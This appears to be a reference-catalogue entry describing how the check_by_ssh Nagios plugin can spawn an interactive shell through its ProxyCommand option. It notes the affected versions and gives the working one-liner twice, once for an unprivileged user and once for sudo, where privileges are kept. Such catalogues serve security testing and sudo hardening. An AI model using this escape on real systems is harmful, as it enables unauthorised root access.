check_by_ssh

CommentThis is the check_by_ssh Nagios plugin, available e.g. in /usr/lib/nagios/plugins/.

Shell

This executable can spawn an interactive system shell.
  1. Version requirements

    When check_by_ssh version 2.4.5 (2023-05-31) or later from the Nagios Plugins project in it’s default configuration is used, it does not work anymore.

    It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).

    CommentThe shell will only last 10 seconds.
    This function can be performed by any unprivileged user.
    check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x